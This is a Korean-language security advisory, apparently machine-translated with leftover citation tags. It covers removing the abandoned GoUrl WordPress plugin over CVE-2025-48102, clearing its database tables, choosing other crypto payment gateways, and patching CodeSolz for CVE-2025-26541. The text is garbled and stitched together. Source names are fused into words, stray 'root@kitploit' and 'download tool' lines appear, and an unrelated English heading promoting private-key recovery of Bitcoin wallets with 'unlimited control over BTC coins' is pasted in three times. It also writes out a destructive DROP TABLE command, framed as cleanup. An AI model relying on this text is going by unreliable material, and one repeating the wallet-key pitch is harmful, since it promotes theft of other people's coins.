모든 요소를 고려할 때—  공식 수정 사항 부족, 버려진 소프트웨어 상태, 비활성화의 부적절함, 가상 패치의 임시적 특성  —전문가들은 만장일치로:  CVE-2025-48102에 대한 유일한 효과적인 해결책은 GoUrl 플러그인을 완전히 제거하는 것입니다. wiz plugin . +1

전문가 합의:

  • Patchstack:  "긴급히 소프트웨어를 대안으로 교체하는 것을 고려하세요" patchstack
  • Wiz :  "권장되는 완화 조치는 플러그인을 제거하고 교체하는 것입니다." wiz
  • WPBeginner:  "네, 안전할 뿐만 아니라 다시 사용할 계획이 없는 비활성 플러그인을 삭제하는 것이 권장됩니다." wpbeginner
  • Qode Interactive:  "해커로부터 WordPress 사이트를 최대한 안전하게 보호하려면 사용하지 않는 모든 플러그인과 해당 파일을 삭제해야 합니다." qodeinteractive

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

안전한 제거를 위한 단계별 프로세스

1단계: 전체 백업 생성 Jetpack+1

플러그인을 제거하기 전에  반드시 사이트의 전체 백업을 생성하세요. 파일과 데이터베이스를 포함해야 합니다. 이렇게 하면 문제가 발생할 경우 사이트를 복원할 수 있습니다. 권장 도구: liquidweb+1

  • 자동 백업을 위한 Jetpack VaultPress Backup
  • 포괄적인 백업을 위한 UpdraftPlus wppluginexperts
  • 백업 관리를 위한 BlogVault wppluginexperts

2단계: 대시보드를 통해 플러그인 비활성화 kinsta+1

WordPress 대시보드에 로그인하여  플러그인 → 설치된 플러그인으로 이동합니다.  GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership을 찾아  "비활성화"를 클릭합니다. kinsta+1

3단계: WordPress에서 플러그인 제거 wpbeginner+1

비활성화한 후, 플러그인 이름 아래의  "삭제"를 클릭합니다. WordPress는  /wp-content/plugins/ 디렉토리에서 플러그인 파일을 삭제합니다. jetpack+3

4단계: 데이터베이스에서 잔여 테이블 정리 liquidweb+2

중요한 단계:  많은 WordPress 플러그인은 데이터베이스에 자체 테이블을 생성하며, 플러그인이 제거될 때  자동으로 삭제되지 않습니다. 이러한  "고립된 테이블"은 계속해서 공간을 차지하고 민감한 데이터를 포함할 수 있습니다. youtube​onlinemediamasters+3

데이터베이스 정리 방법:

A. 플러그인을 사용한 데이터베이스 정리: nitropack+2

Advanced Database Cleaner  는 포괄적인 WordPress 데이터베이스 정리 플러그인입니다: wordpress+1

  • Pro 버전을 사용하면 제거된 WordPress+1 플러그인이 남긴  고립된 테이블을 제거할 수 있습니다.
  • 활성 WordPress 플러그인에서 더 이상 사용하지 않는 테이블을 식별합니다.
  • 제거 전에 미리보기 기능을 제공합니다. nitropack

WP-Optimize  는 인기 있는 최적화 도구입니다: jetpack+2

  • Tables 탭을 열고 특정 jetpack 테이블을 삭제할 수 있습니다.
  • 테이블을 "설치되지 않음" 또는 "비활성"으로 표시합니다. onlinemediamasters
  • Actions 탭에  "제거" 버튼을 제공합니다. onlinemediamasters

Plugins Garbage Collector  는 고립된 테이블 탐지를 위한 전문 플러그인입니다: YouTube

  • 데이터베이스를 스캔하고 결과를 세 가지 색상으로 표시합니다. YouTube
  • 빨간색  은 사용하지 않는 YouTube 플러그인의 가능한 고립된 테이블을 나타냅니다.
  • 녹색  은 활성 YouTube 플러그인에 필요한 테이블을 강조 표시합니다.
  • 파란색  은 비활성화된 YouTube 플러그인의 테이블을 나타냅니다.

B. phpMyAdmin을 통한 수동 정리: mehulgohil+2

고급 사용자용:

  1. 호스팅 제어판을 통해  phpMyAdmin에 로그인합니다. mehulgohil+1
  2. WordPressliquidweb 데이터베이스를 선택합니다.
  3. 검색 기능을 사용하여 GoUrljetpack 관련 테이블을 찾습니다.
  4. GoUrl 특정 접두사가 있는 테이블을 찾습니다 (예:  wp_gourl_*,  wp_crypto_files,  wp_crypto_payments,  wp_crypto_membership,  wp_crypto_products) wordpress+1
  5. 테이블을 선택하고  "삭제"를 클릭하여 jetpack에서 제거합니다.

특정 테이블 삭제를 위한 SQL 쿼리: liquidweb

root@kitploit:~
sql:

DROP TABLE wp_gourl_tablename;

wp_gourl_tablename를 실제 테이블 이름으로 바꾸세요.  항상 다른 플러그인이 해당 테이블을 사용하고 있지 않은지 다시 확인하세요.

5단계: 잔여 파일 확인 jetpack+1

일부 플러그인은  플러그인 디렉토리 외부에 파일을 생성할 수 있습니다.  /wp-content/uploads/ 디렉토리에서 GoUrl 관련 폴더(예: [  /wp-content/uploads/gourl/wordpress+2])를 확인하고 FTP 또는 호스팅 파일 관리자를 통해 삭제하세요.

6단계: 사용하지 않는 숏코드 제거

사이트 콘텐츠에서 GoUrl 숏코드를 사용한 경우, 해당 숏코드는  비활성화되어 텍스트로 표시됩니다. 게시물과 페이지에서 수동으로 찾아 제거하세요.


적극적으로 지원되는 대안의 선택 및 구현

안전한 대안 선택 기준

GoUrl의 대체품을 선택할 때는 다음 요소를 고려해야 합니다:

1. 적극적인 지원 및 정기적 업데이트: wp-content+1

  • 플러그인은 정기적으로 업데이트되어야 함 (최소 1년에 여러 번) wp-content
  • 개발자는 보안 보고서에 적극적으로 응답해야 함. Patchstack
  • mainwp에 대한 문서 및 기술 지원이 제공되어야 함.

2. 강력한 보안 평판: paymattic+1

  • 256비트 암호화를 사용하는 SSL/TLS 인증서 사용 (getshieldsecurity+1)
  • PCI DSS 규정 준수 Hosted+1
  • 긍정적인 리뷰 및 안전 등급 beycanpress+1

3. 기술적 호환성: crocoblock+1

  • WordPress 및 PHP 버전과의 호환성 beycanpress
  • 기존 전자상거래 플러그인(WooCommerce 등)과의 통합 crocoblock+1
  • 필수 암호화폐 지원 awisee+1

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

권장되는 GoUrl 대안

BTCPay Server  는 자체 호스팅 오픈소스 솔루션입니다: instawp+2

  • 완전한 제어 및 개인정보 보호  — KYC 불필요 atlos+1
  • 중개자 없이 지갑으로 직접 지불 awisee+1
  • 활발한 개발자 커뮤니티를 갖춘 오픈소스 instawp+1
  • 거래 수수료 없음
  • 자체 atlos 서버를 설정하려면 기술적 능력 필요.

Blockonomics  는 분산형 결제 게이트웨이입니다: slashdot+2

  • 지불이  직접 귀하의 slashdot+1 Bitcoin 지갑으로 전송됩니다.
  • KYC 불필요 slashdot+1
  • 처음 20건의 거래는 무료 + 1% 수수료.
  • WordPress 및 WooCommerce와의 쉬운 통합 atlos+1
  • 오픈소스 코드 atlos

CryptoPay (BeycanPress 제공)  는 포괄적인 암호화폐 결제 게이트웨이입니다: beycanpress+1

  • beycanpress의 16개 이상 WordPress 플러그인 지원
  • EVM 네트워크에 대한 내부 지원 beycanpress
  • 다양한 암호화폐 선택: Crocoblock
  • 개발 및 지원은 beycanpress에서 활발히 진행 중입니다

CoinGate  는 신뢰할 수 있는 블록체인 결제 처리기입니다: g2+2

  • 50개 이상의 암호화폐를 지원합니다.
  • 좋은 평판  과 오랜 작업 경험
  • 전문적인 기술 지원
  • 규제 준수

MyCryptoCheckout  는 개인 정보 보호에 중점을 둔 플러그인입니다: instawp+2

  • 0% 거래 수수료 instawp+1
  • 제3자 없이 P2P 거래
  • 100개 이상의 코인 지원, 비트코인 및 이더리움 포함
  • 선호하는 지갑으로 직접 결제

ABC Crypto Checkout  – 직접 암호화폐 결제: crocoblock+1

  • 중개자 없이 암호화폐 지갑으로 직접 결제 (crocoblock+1)
  • Binance Pay API와 통합
  • 실시간 환율로 모든 법정화폐를 암호화폐로 변환
  • 판매자 계정으로 즉시 자금 입금

제거 후 추가 보안 조치

제거 후 보안 감사

1. 멀웨어 스캔: solidwp+1

  • 전문적인 침해 대응 서비스를 사용하여 서버 멀웨어를 스캔하세요.
  • 멀웨어 스캐닝 플러그인에 의존하지 마십시오. 악성 코드에 의해 변조되는 경우가 많습니다.
  • 권장 서비스: Wordfence, Sucuri, Patchstackdreamhost+1

2. 관리자 계정 확인: wordfence+1

  • XSS 취약점 악용을 통해 생성되었을 수 있는 의심스러운 관리자 계정을 확인하세요.
  • 알 수 없거나 승인되지 않은 계정을 모두 제거하세요.
  • 모든 관리자 계정의 비밀번호를 변경하세요.

3. 액세스 로그 분석: wp-rocket+1

  • 취약한 플러그인이 사용 중인 동안 비정상적인 활동이 있었는지 서버 로그를 검토하세요.
  • GoUrl 플러그인 파일에 대한 의심스러운 요청을 찾으세요.
  • 승인되지 않은 액세스 시도를 확인하세요.

미래를 위한 예방 전략

1. 설치된 플러그인 정기 감사: patchstack+2

  • 매달 모든 설치된 플러그인의 개발 활동을 확인하세요.
  • 6개월 이상 업데이트되지 않은 플러그인을 식별하세요.
  • 버려졌거나 사용되지 않는 플러그인은 즉시 제거하세요.

2. 플러그인 관리 정책 구현: wp-eventmanager+1

  • 공식 WordPress 저장소 또는 신뢰할 수 있는 제공업체의 플러그인만 설치하세요.
  • 설치 전에 평점, 리뷰 및 업데이트 기록을 확인하세요.
  • 설치된 플러그인 수를 필요한 최소한으로 제한하세요.

3. 보안 업데이트 자동화: wp-eventmanager+1

  • 중요한 보안 플러그인에 대해 자동 업데이트를 활성화하세요.
  • 모니터링 서비스를 사용하세요.

CVE-2025-26541 (CodeSolz)의 경우:

  • 즉시 버전 1.7.7 이상으로 업데이트하세요.
  • 의심스러운 관리자 계정을 확인하세요.
  • 비정상적인 활동에 대한 액세스 로그를 검토하세요.

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

CVE-2025-26541 (CodeSolz) 보안 권고

CVE-2025-26541 기본 정보

CVE-2025-26541은 CodeSolz 제품과 관련된 취약점 식별자입니다. 이 취약점은 이 소프트웨어를 사용하는 리소스에 심각한 보안 위협이 되며, 공격자가 관리 기능에 무단으로 액세스하거나 취약한 시스템 인스턴스에서 악의적인 작업을 수행할 수 있도록 합니다.

제거 및 예방 권장 사항

1. CodeSolz를 즉시 버전 1.7.7 이상으로 업데이트

공식 CodeSolz 개발자는 버전 1.7.7부터 CVE-2025-26541에 대한 패치를 출시했습니다. 악용된 취약점이 패치되어 해킹 위험이 크게 줄었습니다. 특히 시스템이 외부 액세스에 노출되거나 기업 인프라에서 사용되는 경우 모든 CodeSolz 인스턴스에 이 업데이트를 즉시 적용해야 합니다.

  • 업데이트 후 프로세스가 올바르게 완료되었는지, 로그에 오류가 없는지, 시스템 기능이 손상되지 않았는지 확인하는 것이 좋습니다.
  • 자동 업데이트 확인이 비활성화된 경우 정기적으로 새 버전을 수동으로 확인하는 것이 좋습니다.

2. 의심스러운 관리자 계정 확인

CVE-2025-26541 악용의 특징 중 하나는 승인되지 않은 새 관리자 계정이 나타나는 것입니다. 필요한 조치:

  • 사용자/계정 제어판을 엽니다.
  • 현재 관리자 목록을 예상(승인된) 목록과 비교합니다.
  • 최근에 생성되었거나 개인 정보가 없거나 비정상적인 이름을 사용하는 계정에 특히 주의하십시오.
  • 의심스럽거나 분명히 불법적인 계정은 즉시 삭제하고 생성한 사람을 식별해야 합니다.

또한 모든 관리자 계정에 대해 이중 인증을 활성화하고 권한을 분할하여 잠재적인 피해를 줄이는 것이 좋습니다.

3. 비정상적인 활동에 대한 액세스 로그 검토

악용이 감지되거나 의심되는 경우 시스템 로그를 검토하는 것이 필수적입니다:

  • 지난 몇 주/일간의 로그에서 알 수 없는 IP 주소의 로그인을 확인하세요.
  • 대량 로그인 시도 및 직원에게 비정상적인 시간대의 로그인을 찾으십시오.
  • 특히 시스템 업데이트 또는 새 사용자 추가 후 관리자 패널을 통한 성공 또는 실패한 로그인 사례를 모두 기록하십시오.
  • 액세스 권한 변경, 계정 삭제 또는 생성 및 기타 비표준 작업 시도를 신중하게 분석하십시오.

현대 로깅 시스템은 이벤트, 시간, IP 주소 및 활동 유형별 필터링 기능을 제공하여 분석 속도를 크게 높일 수 있습니다.

결제 데이터 보안 및 SSL/TLS 암호화


Read more

도구 다운로드